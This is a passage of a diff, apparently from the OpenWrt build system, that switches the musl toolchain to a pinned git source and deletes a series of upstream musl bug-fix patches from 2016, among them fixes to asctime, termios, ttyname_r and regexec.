 PKG_VERSION:=$(call qstrip,$(CONFIG_MUSL_VERSION))
 PKG_RELEASE=1
 
-PKG_HASH:=97e447c7ee2a7f613186ec54a93054fe15469fe34d7d323080f7ef38f5ecb0fa
+PKG_SOURCE_PROTO:=git
+PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION)
+PKG_SOURCE_VERSION:=8fe1f2d79b275b7f7fb0d41c99e379357df63cd9
+PKG_SOURCE_URL:=git://git.musl-libc.org/musl
+PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION)-$(PKG_SOURCE_VERSION).tar.xz
 
-PKG_SOURCE_URL:=http://www.musl-libc.org/releases
-PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
 LIBC_SO_VERSION:=$(PKG_VERSION)
 PATCH_DIR:=$(PATH_PREFIX)/patches
 
diff --git a/toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch b/toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch
deleted file mode 100644
index c0e0238171..0000000000
--- a/toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 6399fa9d29ea83de4735680b77d457bd59606532 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 7 Jul 2016 16:51:37 -0400
-Subject: fix asctime day/month names not to vary by locale
-
-the FIXME comment here was overlooked at the time locale support was
-added.
----
- src/time/__asctime.c | 9 ++++-----
- 1 file changed, 4 insertions(+), 5 deletions(-)
-
-diff --git a/src/time/__asctime.c b/src/time/__asctime.c
-index e7e7f07..f114dfe 100644
---- a/src/time/__asctime.c
-+++ b/src/time/__asctime.c
-@@ -1,17 +1,16 @@
- #include <time.h>
- #include <stdio.h>
- #include <langinfo.h>
-+#include "locale_impl.h"
- #include "atomic.h"
- 
--const char *__nl_langinfo(nl_item);
-+const char *__nl_langinfo_l(nl_item, locale_t);
- 
- char *__asctime(const struct tm *restrict tm, char *restrict buf)
- {
--	/* FIXME: change __nl_langinfo to __nl_langinfo_l with explicit C
--	 * locale once we have locales */
- 	if (snprintf(buf, 26, "%.3s %.3s%3d %.2d:%.2d:%.2d %d\n",
--		__nl_langinfo(ABDAY_1+tm->tm_wday),
--		__nl_langinfo(ABMON_1+tm->tm_mon),
-+		__nl_langinfo_l(ABDAY_1+tm->tm_wday, C_LOCALE),
-+		__nl_langinfo_l(ABMON_1+tm->tm_mon, C_LOCALE),
- 		tm->tm_mday, tm->tm_hour,
- 		tm->tm_min, tm->tm_sec,
- 		1900 + tm->tm_year) >= 26)
--- 
-cgit v0.11.2
-
-
diff --git a/toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch b/toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch
deleted file mode 100644
index f3def26b2a..0000000000
--- a/toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch
+++ /dev/null
@@ -1,67 +0,0 @@
-From cff5747c74c41b22f1ce1340978b1c226a8cdf32 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Wed, 13 Jul 2016 15:04:30 -0400
-Subject: [PATCH] fix regression in tcsetattr on all mips archs
-
-revert commit 8c316e9e49d37ad92c2e7493e16166a2afca419f. it was wrong
-and does not match how the kernel API works.
----
- arch/mips/bits/termios.h    | 6 +++---
- arch/mips64/bits/termios.h  | 6 +++---
- arch/mipsn32/bits/termios.h | 6 +++---
- 4 files changed, 10 insertions(+), 10 deletions(-)
-
-diff --git a/arch/mips/bits/termios.h b/arch/mips/bits/termios.h
-index f559f76..6a1205d 100644
---- a/arch/mips/bits/termios.h
-+++ b/arch/mips/bits/termios.h
-@@ -141,9 +141,9 @@ struct termios {
- #define TCOFLUSH  1
- #define TCIOFLUSH 2
- 
--#define TCSANOW 0x540e
--#define TCSADRAIN 0x540f
--#define TCSAFLUSH 0x5410
-+#define TCSANOW   0
-+#define TCSADRAIN 1
-+#define TCSAFLUSH 2
- 
- #if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
- #define EXTA    0000016
-diff --git a/arch/mips64/bits/termios.h b/arch/mips64/bits/termios.h
-index f559f76..6a1205d 100644
---- a/arch/mips64/bits/termios.h
-+++ b/arch/mips64/bits/termios.h
-@@ -141,9 +141,9 @@ struct termios {
- #define TCOFLUSH  1
- #define TCIOFLUSH 2
- 
--#define TCSANOW 0x540e
--#define TCSADRAIN 0x540f
--#define TCSAFLUSH 0x5410
-+#define TCSANOW   0
-+#define TCSADRAIN 1
-+#define TCSAFLUSH 2
- 
- #if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
- #define EXTA    0000016
-diff --git a/arch/mipsn32/bits/termios.h b/arch/mipsn32/bits/termios.h
-index f559f76..6a1205d 100644
---- a/arch/mipsn32/bits/termios.h
-+++ b/arch/mipsn32/bits/termios.h
-@@ -141,9 +141,9 @@ struct termios {
- #define TCOFLUSH  1
- #define TCIOFLUSH 2
- 
--#define TCSANOW 0x540e
--#define TCSADRAIN 0x540f
--#define TCSAFLUSH 0x5410
-+#define TCSANOW   0
-+#define TCSADRAIN 1
-+#define TCSAFLUSH 2
- 
- #if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
- #define EXTA    0000016
--- 
-2.8.1
-
diff --git a/toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch b/toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch
deleted file mode 100644
index b4b20d8ae2..0000000000
--- a/toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch
+++ /dev/null
@@ -1,71 +0,0 @@
-From 7cc3a28eed7e3b72a1ce4568fb55154bb0540726 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 11 Aug 2016 18:36:46 -0400
-Subject: fix pread/pwrite syscall calling convention on sh
-
-despite sh not generally using register-pair alignment for 64-bit
-syscall arguments, there are arch-specific versions of the syscall
-entry points for pread and pwrite which include a dummy argument for
-alignment before the 64-bit offset argument.
----
- arch/sh/syscall_arch.h | 1 +
- src/internal/syscall.h | 4 ++++
- src/unistd/pread.c     | 2 +-
- src/unistd/pwrite.c    | 2 +-
- 4 files changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/arch/sh/syscall_arch.h b/arch/sh/syscall_arch.h
-index f63675a..84758fe 100644
---- a/arch/sh/syscall_arch.h
-+++ b/arch/sh/syscall_arch.h
-@@ -2,6 +2,7 @@
- ((union { long long ll; long l[2]; }){ .ll = x }).l[0], \
- ((union { long long ll; long l[2]; }){ .ll = x }).l[1]
- #define __SYSCALL_LL_O(x) __SYSCALL_LL_E((x))
-+#define __SYSCALL_LL_PRW(x) 0, __SYSCALL_LL_E((x))
- 
- /* The extra OR instructions are to work around a hardware bug:
-  * http://documentation.renesas.com/doc/products/mpumcu/tu/tnsh7456ae.pdf
-diff --git a/src/internal/syscall.h b/src/internal/syscall.h
-index ff3cf53..6d378a8 100644
---- a/src/internal/syscall.h
-+++ b/src/internal/syscall.h
-@@ -12,6 +12,10 @@
- #define SYSCALL_MMAP2_UNIT 4096ULL
- #endif
- 
-+#ifndef __SYSCALL_LL_PRW
-+#define __SYSCALL_LL_PRW(x) __SYSCALL_LL_O(x)
-+#endif
-+
- #ifndef __scc
- #define __scc(X) ((long) (X))
- typedef long syscall_arg_t;
-diff --git a/src/unistd/pread.c b/src/unistd/pread.c
-index 3d2799f..5483eb9 100644
---- a/src/unistd/pread.c
-+++ b/src/unistd/pread.c
-@@ -4,7 +4,7 @@
- 
- ssize_t pread(int fd, void *buf, size_t size, off_t ofs)
- {
--	return syscall_cp(SYS_pread, fd, buf, size, __SYSCALL_LL_O(ofs));
-+	return syscall_cp(SYS_pread, fd, buf, size, __SYSCALL_LL_PRW(ofs));
- }
- 
- LFS64(pread);
-diff --git a/src/unistd/pwrite.c b/src/unistd/pwrite.c
-index bbe4c34..4bf3d7d 100644
---- a/src/unistd/pwrite.c
-+++ b/src/unistd/pwrite.c
-@@ -4,7 +4,7 @@
- 
- ssize_t pwrite(int fd, const void *buf, size_t size, off_t ofs)
- {
--	return syscall_cp(SYS_pwrite, fd, buf, size, __SYSCALL_LL_O(ofs));
-+	return syscall_cp(SYS_pwrite, fd, buf, size, __SYSCALL_LL_PRW(ofs));
- }
- 
- LFS64(pwrite);
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch b/toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch
deleted file mode 100644
index d9cd0b397b..0000000000
--- a/toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 0a950dcf15bb9f7274c804dca490e9e20e475f3e Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Sat, 20 Aug 2016 21:04:31 +0200
-Subject: verify that ttyname refers to the same file as the fd
-
-linux containers use separate mount namespace so the /proc
-symlink might not point to the right device if the fd was
-opened in the parent namespace, in this case return ENOENT.
----
- src/unistd/ttyname_r.c | 15 +++++++++++----
- 1 file changed, 11 insertions(+), 4 deletions(-)
-
-diff --git a/src/unistd/ttyname_r.c b/src/unistd/ttyname_r.c
-index 8bac7b2..a38ba4f 100644
---- a/src/unistd/ttyname_r.c
-+++ b/src/unistd/ttyname_r.c
-@@ -1,10 +1,12 @@
- #include <unistd.h>
- #include <errno.h>
-+#include <sys/stat.h>
- 
- void __procfdname(char *, unsigned);
- 
- int ttyname_r(int fd, char *name, size_t size)
- {
-+	struct stat st1, st2;
- 	char procname[sizeof "/proc/self/fd/" + 3*sizeof(int) + 2];
- 	ssize_t l;
- 
-@@ -15,8 +17,13 @@ int ttyname_r(int fd, char *name, size_t size)
- 
- 	if (l < 0) return errno;
- 	else if (l == size) return ERANGE;
--	else {
--		name[l] = 0;
--		return 0;
--	}
-+
-+	name[l] = 0;
-+
-+	if (stat(name, &st1) || fstat(fd, &st2))
-+		return errno;
-+	if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
-+		return ENOENT;
-+
-+	return 0;
- }
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch b/toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch
deleted file mode 100644
index fc7334d512..0000000000
--- a/toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From c1f4ed150137d793c9d07356305a89e8785e7e02 Mon Sep 17 00:00:00 2001
-From: Duncan Overbruck <duncaen at voidlinux.eu>
-Date: Thu, 18 Aug 2016 17:06:16 +0200
-Subject: fix FFSYNC by changing it to O_SYNC
-
-O_FSYNC was never defined and is legacy/wrong, nothing seems to use it.
----
- include/fcntl.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/include/fcntl.h b/include/fcntl.h
-index e683e4d..0e165ca 100644
---- a/include/fcntl.h
-+++ b/include/fcntl.h
-@@ -99,7 +99,7 @@ int posix_fallocate(int, off_t, off_t);
- #define AT_EMPTY_PATH 0x1000
- 
- #define FAPPEND O_APPEND
--#define FFSYNC O_FSYNC
-+#define FFSYNC O_SYNC
- #define FASYNC O_ASYNC
- #define FNONBLOCK O_NONBLOCK
- #define FNDELAY O_NDELAY
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch b/toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch
deleted file mode 100644
index aa0c2cfdd6..0000000000
--- a/toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 78897b0dc00b7cd5c29af5e0b7eebf2396d8dce0 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Fri, 16 Sep 2016 17:40:08 -0400
-Subject: fix printf regression with alt-form octal, zero flag, and field width
-
-commit b91cdbe2bc8b626aa04dc6e3e84345accf34e4b1, in fixing another
-issue, changed the logic for how alt-form octal adds the leading zero
-to adjust the precision rather than using a prefix character. this
-wrongly suppressed the zero flag by mimicing an explicit precision
-given by the format string. switch back to using a prefix character.
-
-based on bug report and patch by Dmitry V. Levin, but simplified.
----
- src/stdio/vfprintf.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index 2ecf769..e439a07 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -570,7 +570,7 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			if (0) {
- 		case 'o':
- 			a = fmt_o(arg.i, z);
--			if ((fl&ALT_FORM) && p<z-a+1) p=z-a+1;
-+			if ((fl&ALT_FORM) && p<z-a+1) prefix+=5, pl=1;
- 			} if (0) {
- 		case 'd': case 'i':
- 			pl=1;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch b/toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch
deleted file mode 100644
index d5cc72dbdf..0000000000
--- a/toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 3848a99f65952a77c03bbd905cae988f37f13ea6 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Fri, 16 Sep 2016 13:34:24 -0400
-Subject: fix ifru_data and ifcu_buf types in net/if.h
-
-glibc, freebsd, and openbsd use character pointers (caddr_t) for
-these fields. only linux uses void pointer for the ifru_data type.
----
- include/net/if.h | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/include/net/if.h b/include/net/if.h
-index 1a4059d..2f2fcc1 100644
---- a/include/net/if.h
-+++ b/include/net/if.h
-@@ -89,7 +89,7 @@ struct ifreq {
- 		struct ifmap ifru_map;
- 		char ifru_slave[IFNAMSIZ];
- 		char ifru_newname[IFNAMSIZ];
--		void *ifru_data;
-+		char *ifru_data;
- 	} ifr_ifru;
- };
- 
-@@ -116,7 +116,7 @@ struct ifreq {
- struct ifconf {
- 	int ifc_len;		
- 	union {
--		void *ifcu_buf;
-+		char *ifcu_buf;
- 		struct ifreq *ifcu_req;
- 	} ifc_ifcu;
- };
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/030-fix-if_indextoname-error-case.patch b/toolchain/musl/patches/030-fix-if_indextoname-error-case.patch
deleted file mode 100644
index d680d4eb3f..0000000000
--- a/toolchain/musl/patches/030-fix-if_indextoname-error-case.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 32055d52ca43d867d6dbb763dc5213a8d3536a23 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Thu, 15 Sep 2016 11:27:30 -0400
-Subject: fix if_indextoname error case
-
-posix requires errno to be set to ENXIO if the interface does not exist.
-linux returns ENODEV instead so we handle this.
----
- src/network/if_indextoname.c | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/src/network/if_indextoname.c b/src/network/if_indextoname.c
-index 6ee7f13..3b368bf 100644
---- a/src/network/if_indextoname.c
-+++ b/src/network/if_indextoname.c
-@@ -3,6 +3,7 @@
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #include <string.h>
-+#include <errno.h>
- #include "syscall.h"
- 
- char *if_indextoname(unsigned index, char *name)
-@@ -14,5 +15,9 @@ char *if_indextoname(unsigned index, char *name)
- 	ifr.ifr_ifindex = index;
- 	r = ioctl(fd, SIOCGIFNAME, &ifr);
- 	__syscall(SYS_close, fd);
--	return r < 0 ? 0 : strncpy(name, ifr.ifr_name, IF_NAMESIZE);
-+	if (r < 0) {
-+		if (errno == ENODEV) errno = ENXIO;
-+		return 0;
-+	}
-+	return strncpy(name, ifr.ifr_name, IF_NAMESIZE);
- }
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch b/toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch
deleted file mode 100644
index 077afe8a68..0000000000
--- a/toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 5505f6afae9acf37ef565c68a07ca3df7b1ae2cb Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Fri, 9 Sep 2016 21:23:17 -0400
-Subject: add missing *_unlocked and wcsftime_l prototypes to wchar.h
-
-these functions had been implemented, but prototypes were not made available
----
- include/wchar.h | 15 +++++++++++++++
- 1 file changed, 15 insertions(+)
-
-diff --git a/include/wchar.h b/include/wchar.h
-index 0167dce..3e6db5f 100644
---- a/include/wchar.h
-+++ b/include/wchar.h
-@@ -136,6 +136,21 @@ size_t wcsftime (wchar_t *__restrict, size_t, const wchar_t *__restrict, const s
- 
- #undef iswdigit
- 
-+#if defined(_GNU_SOURCE)
-+wint_t fgetwc_unlocked (FILE *);
-+wint_t getwc_unlocked (FILE *);
-+wint_t getwchar_unlocked (void);
-+wint_t fputwc_unlocked (wchar_t, FILE *);
-+wint_t putwc_unlocked (wchar_t, FILE *);
-+wint_t putwchar_unlocked (wchar_t);
-+wchar_t *fgetws_unlocked (wchar_t *__restrict, int, FILE *__restrict);
-+int fputws_unlocked (const wchar_t *__restrict, FILE *__restrict);
-+#endif
-+
-+#if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
-+size_t wcsftime_l (wchar_t *__restrict, size_t, const wchar_t *__restrict, const struct tm *__restrict, locale_t);
-+#endif
-+
- #if defined(_POSIX_SOURCE) || defined(_POSIX_C_SOURCE) \
-  || defined(_XOPEN_SOURCE) || defined(_GNU_SOURCE)  || defined(_BSD_SOURCE)
- FILE *open_wmemstream(wchar_t **, size_t *);
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch b/toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch
deleted file mode 100644
index c634d59e4b..0000000000
--- a/toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 66570ec9c465e3c6c5d6dbd7dd42e45041a39288 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Mon, 19 Sep 2016 11:15:51 -0400
-Subject: fix undefined behavior in sched.h cpu_set_t usage
-
-since cpu sets can be dynamically allocated and have variable size,
-accessing their contents via ->__bits is not valid; performing pointer
-arithmetic outside the range of the size of the declared __bits array
-results in undefined beahavior. instead, only use cpu_set_t for
-fixed-size cpu set objects (instantiated by the caller) and as an
-abstract pointer type for dynamically allocated ones. perform all
-accesses simply by casting the abstract pointer type cpuset_t * back
-to unsigned long *.
----
- include/sched.h | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/include/sched.h b/include/sched.h
-index af82d6c..d1cccb7 100644
---- a/include/sched.h
-+++ b/include/sched.h
-@@ -82,7 +82,7 @@ int sched_getaffinity(pid_t, size_t, cpu_set_t *);
- int sched_setaffinity(pid_t, size_t, const cpu_set_t *);
- 
- #define __CPU_op_S(i, size, set, op) ( (i)/8U >= (size) ? 0 : \
--	((set)->__bits[(i)/8/sizeof(long)] op (1UL<<((i)%(8*sizeof(long))))) )
-+	(((unsigned long *)(set))[(i)/8/sizeof(long)] op (1UL<<((i)%(8*sizeof(long))))) )
- 
- #define CPU_SET_S(i, size, set) __CPU_op_S(i, size, set, |=)
- #define CPU_CLR_S(i, size, set) __CPU_op_S(i, size, set, &=~)
-@@ -94,8 +94,8 @@ static __inline void __CPU_##func##_S(size_t __size, cpu_set_t *__dest, \
- { \
- 	size_t __i; \
- 	for (__i=0; __i<__size/sizeof(long); __i++) \
--		__dest->__bits[__i] = __src1->__bits[__i] \
--			op __src2->__bits[__i] ; \
-+		((unsigned long *)__dest)[__i] = ((unsigned long *)__src1)[__i] \
-+			op ((unsigned long *)__src2)[__i] ; \
- }
- 
- __CPU_op_func_S(AND, &)
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch b/toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch
deleted file mode 100644
index 67d9c7a4d4..0000000000
--- a/toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 8d7a3f40c8de414122eb8eb2131291782ee8ed15 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Fri, 23 Sep 2016 21:10:07 -0400
-Subject: fix getservby*_r result pointer value on error
-
-this is a clone of the fix to the gethostby*_r functions in
-commit fe82bb9b921be34370e6b71a1c6f062c20999ae0. the man pages
-document that the getservby*_r functions set this pointer to
-NULL if there was an error or if no record was found.
----
- src/network/getservbyname_r.c | 2 ++
- src/network/getservbyport_r.c | 1 +
- 2 files changed, 3 insertions(+)
-
-diff --git a/src/network/getservbyname_r.c b/src/network/getservbyname_r.c
-index 056c2f3..ad3d616 100644
---- a/src/network/getservbyname_r.c
-+++ b/src/network/getservbyname_r.c
-@@ -15,6 +15,8 @@ int getservbyname_r(const char *name, const char *prots,
- 	struct service servs[MAXSERVS];
- 	int cnt, proto, align;
- 
-+	*res = 0;
-+
- 	/* Align buffer */
- 	align = -(uintptr_t)buf & ALIGN-1;
- 	if (buflen < 2*sizeof(char *)+align)
-diff --git a/src/network/getservbyport_r.c b/src/network/getservbyport_r.c
-index a0a7cae..0ae0e41 100644
---- a/src/network/getservbyport_r.c
-+++ b/src/network/getservbyport_r.c
-@@ -20,6 +20,7 @@ int getservbyport_r(int port, const char *prots,
- 		if (r) r = getservbyport_r(port, "udp", se, buf, buflen, res);
- 		return r;
- 	}
-+	*res = 0;
- 
- 	/* Align buffer */
- 	i = (uintptr_t)buf & sizeof(char *)-1;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch b/toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch
deleted file mode 100644
index 1f7ad5b8e1..0000000000
--- a/toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 583ea83541dcc6481c7a1bd1a9b485526bad84a1 Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Tue, 4 Oct 2016 17:14:57 +0000
-Subject: fix strftime %y for negative tm_year
-
----
- src/time/strftime.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/time/strftime.c b/src/time/strftime.c
-index f1ccc4d..e103e02 100644
---- a/src/time/strftime.c
-+++ b/src/time/strftime.c
-@@ -167,6 +167,7 @@ const char *__strftime_fmt_1(char (*s)[100], size_t *l, int f, const struct tm *
- 		goto nl_strftime;
- 	case 'y':
- 		val = tm->tm_year % 100;
-+		if (val<0) val += 100;
- 		goto number;
- 	case 'Y':
- 		val = tm->tm_year + 1900LL;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch b/toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch
deleted file mode 100644
index 9d6e47572a..0000000000
--- a/toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch
+++ /dev/null
@@ -1,72 +0,0 @@
-From c3edc06d1e1360f3570db9155d6b318ae0d0f0f7 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 6 Oct 2016 18:34:58 -0400
-Subject: fix missing integer overflow checks in regexec buffer size
- computations
-
-most of the possible overflows were already ruled out in practice by
-regcomp having already succeeded performing larger allocations.
-however at least the num_states*num_tags multiplication can clearly
-overflow in practice. for safety, check them all, and use the proper
-type, size_t, rather than int.
-
-also improve comments, use calloc in place of malloc+memset, and
-remove bogus casts.
----
- src/regex/regexec.c | 23 ++++++++++++++++++-----
- 1 file changed, 18 insertions(+), 5 deletions(-)
-
-diff --git a/src/regex/regexec.c b/src/regex/regexec.c
-index 16c5d0a..dd52319 100644
---- a/src/regex/regexec.c
-+++ b/src/regex/regexec.c
-@@ -34,6 +34,7 @@
- #include <wchar.h>
- #include <wctype.h>
- #include <limits.h>
-+#include <stdint.h>
- 
- #include <regex.h>
- 
-@@ -206,11 +207,24 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
- 
-   /* Allocate memory for temporary data required for matching.	This needs to
-      be done for every matching operation to be thread safe.  This allocates
--     everything in a single large block from the stack frame using alloca()
--     or with malloc() if alloca is unavailable. */
-+     everything in a single large block with calloc(). */
-   {
--    int tbytes, rbytes, pbytes, xbytes, total_bytes;
-+    size_t tbytes, rbytes, pbytes, xbytes, total_bytes;
-     char *tmp_buf;
-+
-+    /* Ensure that tbytes and xbytes*num_states cannot overflow, and that
-+     * they don't contribute more than 1/8 of SIZE_MAX to total_bytes. */
-+    if (num_tags > SIZE_MAX/(8 * sizeof(int) * tnfa->num_states))
-+      goto error_exit;
-+
-+    /* Likewise check rbytes. */
-+    if (tnfa->num_states+1 > SIZE_MAX/(8 * sizeof(*reach_next)))
-+      goto error_exit;
-+
-+    /* Likewise check pbytes. */
-+    if (tnfa->num_states > SIZE_MAX/(8 * sizeof(*reach_pos)))
-+      goto error_exit;
-+
-     /* Compute the length of the block we need. */
-     tbytes = sizeof(*tmp_tags) * num_tags;
-     rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
-@@ -221,10 +235,9 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
-       + (rbytes + xbytes * tnfa->num_states) * 2 + tbytes + pbytes;
- 
-     /* Allocate the memory. */
--    buf = xmalloc((unsigned)total_bytes);
-+    buf = calloc(total_bytes, 1);
-     if (buf == NULL)
-       return REG_ESPACE;
--    memset(buf, 0, (size_t)total_bytes);
- 
-     /* Get the various pointers within tmp_buf (properly aligned). */
-     tmp_tags = (void *)buf;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch b/toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch
deleted file mode 100644
index a936892174..0000000000
--- a/toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch
+++ /dev/null
@@ -1,189 +0,0 @@
-From aee6abb2400b9a955c2b41166db1c22f63ad42ef Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 6 Oct 2016 12:15:47 -0400
-Subject: fix regexec with haystack strings longer than INT_MAX
-
-we inherited from TRE regexec code that's utterly wrong with respect
-to the integer types it's using. while it doesn't appear that
-compilers are producing unsafe output, signed integer overflows seem
-to happen, and regexec fails to find matches past offset INT_MAX.
-
-this patch fixes the type of all variables/fields used to store
-offsets in the string from int to regoff_t. after the changes, basic
-testing showed that regexec can now find matches past 2GB (INT_MAX)
-and past 4GB on x86_64, and code generation is unchanged on i386.
----
- src/regex/regexec.c | 54 +++++++++++++++++++++++++++--------------------------
- 1 file changed, 28 insertions(+), 26 deletions(-)
-
-diff --git a/src/regex/regexec.c b/src/regex/regexec.c
-index dd52319..5c4cb92 100644
---- a/src/regex/regexec.c
-+++ b/src/regex/regexec.c
-@@ -44,7 +44,7 @@
- 
- static void
- tre_fill_pmatch(size_t nmatch, regmatch_t pmatch[], int cflags,
--		const tre_tnfa_t *tnfa, int *tags, int match_eo);
-+		const tre_tnfa_t *tnfa, regoff_t *tags, regoff_t match_eo);
- 
- /***********************************************************************
-  from tre-match-utils.h
-@@ -97,7 +97,7 @@ tre_fill_pmatch(size_t nmatch, regmatch_t pmatch[], int cflags,
- /* Returns 1 if `t1' wins `t2', 0 otherwise. */
- static int
- tre_tag_order(int num_tags, tre_tag_direction_t *tag_directions,
--	      int *t1, int *t2)
-+	      regoff_t *t1, regoff_t *t2)
- {
-   int i;
-   for (i = 0; i < num_tags; i++)
-@@ -157,25 +157,25 @@ tre_neg_char_classes_match(tre_ctype_t *classes, tre_cint_t wc, int icase)
- 
- typedef struct {
-   tre_tnfa_transition_t *state;
--  int *tags;
-+  regoff_t *tags;
- } tre_tnfa_reach_t;
- 
- typedef struct {
--  int pos;
--  int **tags;
-+  regoff_t pos;
-+  regoff_t **tags;
- } tre_reach_pos_t;
- 
- 
- static reg_errcode_t
- tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
--		      int *match_tags, int eflags,
--		      int *match_end_ofs)
-+		      regoff_t *match_tags, int eflags,
-+		      regoff_t *match_end_ofs)
- {
-   /* State variables required by GET_NEXT_WCHAR. */
-   tre_char_t prev_c = 0, next_c = 0;
-   const char *str_byte = string;
--  int pos = -1;
--  int pos_add_next = 1;
-+  regoff_t pos = -1;
-+  regoff_t pos_add_next = 1;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate;
- #endif /* TRE_MBSTATE */
